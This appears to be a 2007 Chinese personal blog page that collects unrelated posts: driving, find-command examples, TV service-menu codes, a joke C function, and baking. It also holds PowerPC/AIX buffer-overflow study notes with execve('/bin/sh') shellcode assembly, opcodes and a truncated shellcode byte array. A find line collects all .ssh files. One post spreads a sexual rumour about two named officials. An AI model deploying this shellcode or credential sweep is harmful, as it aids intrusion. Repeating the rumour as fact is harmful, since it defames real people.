leo's profileIamLeoPhotosBlogLists Tools Help
    8/13/2007

    开车容易 行车难

    当初学车的时候感觉重点在开车上 而驾校所能学到的也只有如何开车什么 还有就是该死的交规。但真正上路了之后才发现,开车原来是那么的简单。此时开车已不是重点了,而重点是在找路走,因为你有目的地呀,你要考虑哪里可以调头,哪里可以左拐或者右拐,哪里是单行线。当然 如果你对路线特别熟  或者出行之前做了功课,那么就没有任何问题了,即使路上遇到一两个冒失鬼也没问题。

    这个周末租了车 到处跑 就因为道路不熟 闯了一次单行线 到了路口才发现其实应该右拐的,但已进入执行道了,……

    所以以后还是多了解一下路况吧 特别是要去的地方的停车情况。

    8/10/2007

    “党的好儿女”裸体“因公殉职” -_-

    据传,2007年6月30日浙江省临安市清凉峰镇党委书记徐新贤和该镇的妇联主任潘丽航被发现双双裸死于私家车库的车内,死因是一氧化碳中毒,且潘当时已经怀孕四个月了。前一天,由于徐新贤没有出席全市电视电话会议,就有传言他和妇联主任去上海出差了。

    据内地“网友keng@cf”七月一日在浙江的钱塘论坛“钱塘茶楼”栏目内,发布名为“号外号外!”的帖子称:“两位党的‘好’儿女,一个党委书记,一个妇联主任(各自有家庭),被发现双双死在车,而且还没穿衣服。这种死法还真有激情!”该网友称,当时车内开冷气,并且密封,估计是缺氧致死。两人“大概是礼拜二(六月二十六日)死的,前天(六月二十九日)才发现,(尸体)都烂了。”

       事情发生后,徐、潘二人被匆匆火化。临安某政府部门也立刻发布了“三不准”条文:不准给死者开追悼会、不准大办丧事、不准对外宣传和报道此事。为什么当地政府会马上发布此条文呢?不仅因为事发在党的生日前夕,更让人“惋惜”的是徐新贤的名字还作为临安市2006年度优秀党务工作者被公布。

       听完此事,不禁让人感叹徐、潘二人真是“党的好儿女”啊!

       虽然当地政府不允许给他们开追悼会,但是对于“党的好儿女”,我们怎能忘记他们所付出的汗水和精神呢?徐新贤,这位新近优秀党员是经过党组织长期的培养和考验才提拔起来的好干部。不但深入群众,还深入干部,真是裆的好干部。这次在作战条件及其艰苦恶劣的情况下,敢冲敢拼,英勇的完成了裆部署的穿插任务,直至流尽自己宝贵的最后一滴,应该追授予“黄继光堵枪眼”战斗英雄称号;配合此次战斗任务的,徐书记的亲密占有潘丽航同志,任劳任怨,始终和徐书记并肩战斗在最前沿,不怕牺牲勇于奉献,实现了她“发誓为了裆的事业光着屁股也要战斗到死的”的革命誓言,到牺牲也没离开火线,应追授其为优秀共裆党员。

       此“过劳死”事件也醒示了目前党员的安全教育工作落实地并不理想,接下来应该加强此方面的安全教育工作!

    http://www.5151free.com/cmd.asp?act=tb&id=72&key=12130

    8/7/2007

    real world FIND usage

    sudo find / -type f -name *.jpg  -exec cp {} . \;

    find . -type f -size +10000 -exec ls -al {} \;
    find . -atime +1 -type f -exec mv {} TMP \; # mv files older then 1 day to dir TMP
    find . -name "-F" -exec rm {} \;   # a script error created a file called -F
    find . -exec grep -i "vds admin" {} \;
    find . \! -name "*.Z" -exec compress -f {} \;
    find . -type f \! -name "*.Z" \! -name ".comment" -print | tee -a /tmp/list
    find . -name *.ini
    find . -exec chmod 775 {} \;
    find . -user xuser1 -exec chown -R user2 {} \;
    find . -name ebtcom*
    find . -name mkbook
    find . -exec grep PW0 {} \;
    find . -exec grep -i "pw0" {} \;
    find . -atime +6
    find . -atime +6 -exec ll | more
    find . -atime +6 -exec ll | more \;
    find . -atime +6 -exec ll \;
    find . -atime +6 -exec ls \;
    find . -atime +30 -exec ls \;
    find . -atime +30 -exec ls \; | wc -l
    find . -name auth*
    find . -exec grep -i plotme10 {};
    find . -exec grep -i plotme10 {} \;
    find . -ls -exec grep 'PLOT_FORMAT 22' {} \;
    find . -print -exec grep 'PLOT_FORMAT 22' {} \;
    find . -print -exec grep 'PLOT_FORMAT' {} \;
    find . -print -exec grep 'PLOT_FORMAT' {} \;
    find ./machbook -exec chown 184 {} \;
    find . \! -name '*.Z' -exec compress {} \;
    find . \! -name "*.Z" -exec compress -f {} \;
    find /raid/03c/ecn -xdev -type f -print
    find /raid/03c/ecn -xdev -path -type f -print
    find / -name .ssh* -print | tee -a ssh-stuff
    find . -name "*font*"
    find . -name hpmcad*
    find . -name *fnt*
    find . -name hp_mcad* -print
    find . -grep Pld {} \;
    find . -exec grep Pld {} \;
    find . -exec grep Pld {} \;
    find . -exec grep PENWIDTH {} \; | more
    find . -name config.pro
    find . -name config.pro
    find /raid -type d ".local_sd_customize" -print
    find /raid -type d -name ".local_sd_customize" -print
    find /raid -type d -name ".local_sd_customize" -ok cp /raid/04d/MCAD-apps/I_Custom/SD_custom/site_sd_customize/user_filer_project_dirs {} \;
    find /raid -type d -name ".local_sd_customize" -exec cp /raid/04d/MCAD-apps/I_Custom/SD_custom/site_sd_customize/user_filer_project_dirs {} \;
    find . -name xeroxrelease
    find . -exec grep xeroxrelease {} \;
    find . -name xeroxrelease
    find . -name xeroxrelease* -print 2>/dev/null
    find . -name "*release*" 2>/dev/null
    find / -name "*xerox*" 2>/dev/null
    find . -exec grep -i xeroxrelease {} \;
    find . -print -exec grep -i xeroxrelease {} \;
    find . -print -exec grep -i xeroxrelease {} \; > xeroxrel.lis
    find . -exec grep -i xeroxrel {} \;
    find . -print -exec grep -i xeroxrel {} \;
    find . -print -exec grep -i xeroxrel {} \; | more
    find /raid/03c/inwork -xdev -type f -print >> /raid/04d/user_scripts/prt_list.tmp
    find . -exec grep '31.53' {} \;
    find . -ls -exec grep "31/.53" {} \; > this.lis
    find . -print -exec grep "31/.53" {} \; > this.lis
    find . -print -exec grep 31.53 {} \; > this.lis
    find . -exec grep -i pen {} /;
    find . -exec grep -i pen {} \;
    find . -print -exec grep -i pen {} \; | more
    find . -exec grep -i pen {} \;
    find . -atime +6 -exec ll | more \;
    find . -atime +6 -exec ll \;
    find . -atime +6 -exec ls \;
    find . -atime +30 -exec ls \;
    find . -atime +30 -exec ls \; | wc -l
    find . \! -name '*.Z' -exec compress -f {} \;
    find . -name 'cache*' -depth -exec rm {} \;
    find . -name 'cache*' -depth -print | tee -a /tmp/cachefiles
    find . -name 'cache[0-9][0-9]*' -depth -print | tee -a /tmp/cachefiles
    find . -name 'hp_catfile' 'hp_catlock' -depth -print | tee -a /tmp/hp.cats
    find . -name 'hp_catfile' -name 'hp_catlock' -depth -print | tee -a /tmp/hp.cats
    find . -name 'hp_cat*' -depth -print | tee -a /tmp/hp.cats
    find . -name 'hp_cat[fl]*' -depth -print | tee -a /tmp/hp.cats
    find /raid -name 'hp_cat[fl]*' -depth -print
    find . \! -name '*.Z' -exec compress -f {} \;
    find . -name '*' -exec compress -f {} \;
    find . -xdev -name "wshp1*" -print
    find . -xdev -name "wagoneer*" -print
    find . -name "xcmd" -depth -print
    find /usr/contrib/src -name "xcmd" -depth -print
    find /raid -type d -name ".local_sd_customize" -exec ls {} \;
    find /raid -type d -name ".local_sd_customize" \
       -exec cp /raid/04d/MCAD-apps/I_Custom/SD_custom/site_sd_customize/user_filer_project_dirs {} \;

    部分品牌液晶电视的进工程模式的方法

    由于液晶电视的大部分功能是通过内部处理器控制,就像一个微型电脑一样,所以一些隐藏功能都可以在工程菜单中调用,包括大家最关心的使用时间,因为这一数据,即便是销售人员都无法进行更改,而证明这台机器是不是新机器,从使用时间上进行判断,是最直观的。进入工程菜单看使用时间的方法:

    1.东芝
    开机状态下,按一次遥控器的Mute键,再按一次并按住遥控器的Mute键的同时,按面板的Menu键,可进入工程模式。这时候,按遥控器的9键,看Self Check菜单第2行Time就是电视机的使用时间(十进制)。

    2.索尼
    在待机状态下,按遥控器最左上第二个按钮,就是绿色问号的那个键,然后再按数字5键,再按声音+键,最后按遥控器右上角的绿色信号源键,就可看一组数据,在屏幕上第二行最右边四位代码为使用时间(十六进制)。

    3.松下
    首先把把音量关到零,按遥控器上的setup键,屏幕上出现菜单,在定时关机那项随便选择一个时间,同时按下遥控器上的屏显键和电视上的频道减键,屏幕上出现service 1 ,再同时按下遥控器上的静音键和电视上的频道减键,屏幕上出现service 2,按下数字键3,屏幕上出现英文hour,下面的就是工作时间(十进制)。

    4.飞利浦
    在TV模式下,依次按遥控器上的0、6、2 、5、9、6、i+按键,这时就会弹出一组数据,其中最上面的一排就是工作时间(十进制)。

    5.三星
    在待机状态下,依次按显示键、项目键、静音键、电源键,这时候就可以看到工程模式,其中可以看到工作时间(十进制),不过似乎这招在三星平板电视上面不起作用,因为在这个菜单中,可以恢复出厂状态,这样以来,所谓的工作时间就没有意义了。

    8/6/2007

    PowerPC体系结构及其溢出技术学习笔记

    一、 熟悉PowerPC体系及其精简指令集计算
      PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:
      1、分支(branch)指令
      2、定点(fixed-point)指令
      3、浮点(floating-point)指令
      4、装载和存储指令
      5、处理器控制指令
      PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:
      通用寄存器的用途:
      r0   在函数开始(function prologs)时使用。
      r1   堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
      r2   内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。
      r3   作为第一个参数和返回值。
      r4-r10 函数或系统调用开始的参数。
      r11   用在指针的调用和当作一些语言的环境指针。
      r12   它用在异常处理和glink(动态连接器)代码。
      r13   保留作为系统线程ID。
      r14-r31 作为本地变量,非易失性。
      专用寄存器的用途:
      lr   链接寄存器,它用来存放函数调用结束处的返回地址。
      ctr   计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。
      xer   定点异常寄存器,存放整数运算操作的进位以及溢出信息。
      msr   机器状态寄存器,用来配置微处理器的设定。
      cr   条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。
      寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
      寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。
      条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。
      在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。
    二、学习AIX PowerPC汇编
      由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:
      /* setuid.c
      *
      * Learn AIX PowerPC assembly
      */
      #include <unistd.h>
      int main()
      {
        setuid(0);
      }
      用gcc的-S选项编译一下:
      -bash-2.05b$ gcc -S setuid.c
      在当前目录得到setuid.s:
          .file  "setuid.c"
          .toc
          .csect .text[PR]
          .align 2
          .globl main
          .globl .main
          .csect main[DS]
      main:
          .long .main, TOC[tc0], 0
          .csect .text[PR]
      .main:
          .extern __mulh
          .extern __mull
          .extern __divss
          .extern __divus
          .extern __quoss
          .extern __quous
          mflr 0
          stw 31,-4(1)
          stw 0,8(1)
          stwu 1,-72(1)
          mr 31,1
          li 3,0
          bl .setuid
          nop
          mr 3,0
          lwz 1,0(1)
          lwz 0,8(1)
          mtlr 0
          lwz 31,-4(1)
          blr
      LT..main:
          .long 0
          .byte 0,0,32,97,128,1,0,1
          .long LT..main-.main
          .short 4
          .byte "main"
          .byte 31
          .align 2
      _section_.text:
          .csect .data[RW],3
          .long _section_.text
      经过精简,发现如下这样的格式就足够了:
          .globl .main
          .csect .text[PR]
      .main:
          mflr 0
          stw 31,-4(1)
          stw 0,8(1)
          stwu 1,-72(1)
          mr 31,1
          li 3,0
          bl .setuid
          nop
          mr 3,0
          lwz 1,0(1)
          lwz 0,8(1)
          mtlr 0
          lwz 31,-4(1)
          blr
    三、学习AIX PowerPC的shellcode
      B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:
      -bash-2.05b$ cat simple_execve.s
      .globl .main
      .csect .text[PR]
      .main:
          xor.  %r5, %r5, %r5    # 把r5寄存器清空,并且在cr寄存器设置相等标志
          bnel  .main        # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
          mflr  %r3         # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址
          addi  %r3, %r3, 32    # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
          stw   %r3, -8(%r1)    # argv[0] = string 把r3写入堆栈
          stw   %r5, -4(%r1)    # argv[1] = NULL 把0写入堆栈
          subi  %r4, %r1, 8     # r4指向argv[]
          li   %r2, 5       # AIX 5.1的execve中断号是5
          crorc  %cr6, %cr6, %cr6  # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
          svca  0          # execve(r3, r4, r5)
      string:               # execve(path, argv[], NULL)
          .asciz "/bin/sh"
      -bash-2.05b$ gcc -o simple_execve simple_execve.s
      -bash-2.05b$ ./simple_execve
      $
      正确执行了execve,用objdump查看一下它的opcode:
      -bash-2.05b$ objdump -d simple_execve|more
      ...
      0000000010000544 <.main>:
        10000544:  7c a5 2a 79   xor.  r5,r5,r5
        10000548:  40 82 ff fd   bnel  10000544 <.main>
        1000054c:  7c 68 02 a6   mflr  r3
        10000550:  38 63 00 20   cal   r3,32(r3)
        10000554:  90 61 ff f8   st   r3,-8(r1)
        10000558:  90 a1 ff fc   st   r5,-4(r1)
        1000055c:  38 81 ff f8   cal   r4,-8(r1)
        10000560:  38 40 00 05   lil   r2,5
        10000564:  4c c6 33 42   crorc  6,6,6
        10000568:  44 00 00 02   svca  0
        1000056c:  2f 62 69 6e   cmpi  6,r2,26990
        10000570:  2f 73 68 00   cmpi  6,r19,26624
      ...
      可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:
      /* shellcode.c
      *
      * ripped from lsd
      */
      char shellcode[] =     /* 12*4+8 bytes         */
        "\x7c\xa5\x2a\x79"   /* xor.  r5,r5,r5       */
        "\x40\x82\xff\xfd"   /* bnel  <shellcode>     */
        "\x7f\xe8\x02\xa6"   /* mflr  r31         */
        "\x3b\xff\x01\x20"   /* cal   r31,0x120(r31)    */
        "\x38\x7f\xff\x08"   /* cal   r3,-248(r31)     */
        "\x38\x9f\xff\x10"   /* cal   r4,-240(r31)     */
        "\x90\x7f\xff\x10"   /* st   r3,-240(r31)     */
        "\x90\xbf\xff\x14"  

    搞笑的C函数 不过MS很有现实意义

    昨晚在某个论坛上看到的搞笑程序,凭记忆写下来的,大家有什么可以添加,发表意见啊

    void love(GG,MM)
    {
        if(GG.car == true && GG.house == true && GG.salary > 10000)//如果GG有房有车,月薪过万,MM嫁给GG
        {
            gameover = true;
            printf("GG marry MM");
            return ;
        }
        while(GG.money > 100000 && MM.love > 8)
        {
            for(day=0 ; day<365 ; day++)
            {
                if(day == valentine_day)//情人节约会GG大出血,MM给GG加一分,反之减一分
                {
                    if(GG.DATE() == true && MM.DATE() == true)
                    {   
                        GG.money = GG.money - consume();
                        MM.love++ ;
                    }
                    else
                    { MM.love-- ;}
                }
                if(day == MM.BIRTH)//生日聚会GG大出血,MM给GG加一分,反之减一分
                {
                    if(GG.DATE() == true && MM.DATE() == true)
                    {   
                        GG.money = GG.money - consume();
                        MM.love++ ;
                    }
                    else
                    { MM.love-- ;}
                }
                if(day % 7 == 0)//周末逛街,GG买礼物给MM,MM给GG加一分,反之减一分
                {
                    if(GG.ShopForMM() == true)
                    {   
                        GG.money = GG.money - consume();
                        MM.love++ ;
                    }
                    else
                    { MM.love-- ;}
                }
                if(day % 30 == 0)
                {
                    GG.money = GG.money + GG.salary;
                }
                if(GG.house != true)//买房,MM给GG加一分
                {
                    if((GG.money - 100000) > buyhouse())
                    {
                        GG.house = true ;
                        MM.love++;
                        GG.money = GG.money - buyhouse();
                    }
                }
                if(GG.car != true)//买车,MM给GG加一分
                {
                    if((GG.money - 100000) > buycar())
                    {
                        GG.car = true ;
                        MM.love++;
                        GG.money = GG.money - buycar();
                    }
                }
            }
            if(day == 365)
            break;
        }
        if(GG.money < 100000 || MM.love < 8)
        {
            MM.goto(another_boy);//MM说GG不适合她,分手,MM找到另一个GG
            return ;
        }
        GG.salary = salary(); //拼死拼活也要过万
        MM.age++;
        GG.age++;
        MM.love--;
        GG.love--;
        if(GG.love < 8)
        {
            GG.goto(another_girl);//GG说我的激情已经没有了,GG找到另一个MM
            return ;
        }
        love(GG,MM);//继续
    }

    8/4/2007

    欣赏几只猫咪 顺便看美女做蛋糕 呵呵

    前两天好象看见版内有在讨论cheese cake,于是便把偶们之前做芝士蛋糕的全过程贴上来

    .

    自己做并不难,而且材料的分量足,口味相当好!

    声明一下:我和师姐一起在同事家做蛋糕的,各位亲爱的同学千万不要以为我有米到能买这么好的房子这么纯种的猫.....呵呵

    原材料:砂糖,低筋面粉,消化饼,鸡蛋,柠檬,酸奶,奶油芝士,黄油.

    分工开始:偶辛勤的檊饼干.

    擀好的饼底,心型六寸模

    化芝士

    分离蛋黄蛋清

    蛋清打至湿性发泡

    将蛋黄加入芝士,搅匀

    加酸奶

    再加过好筛的面粉

    将加好蛋黄,酸奶,面粉的芝士与湿性发泡的蛋青混合,搅匀

    装模入烤箱,由于分量多了,所以再添了个小熊的蛋糕模.

    烤好后,冷却脱模.小熊的先好

    PP,合影

    http://bbs.nju.edu.cn/file/6/66973795/669737951185278032.jpg

    做蛋糕途中全程陪伴偶们的几只猫咪:(都是纯种的美猫.....)

    布偶猫-阿布

    金吉拉-阿撒

    英短--阿娇

    阿布和阿娇

    --

    哈哈 上传了婚纱照

    自己有空的时候也可以上来看看 回味一下拍照的那段时光

    离办酒席的日子已经很近咯  这两个月开始买东西啦

     

    嘿嘿 ~~~~~~~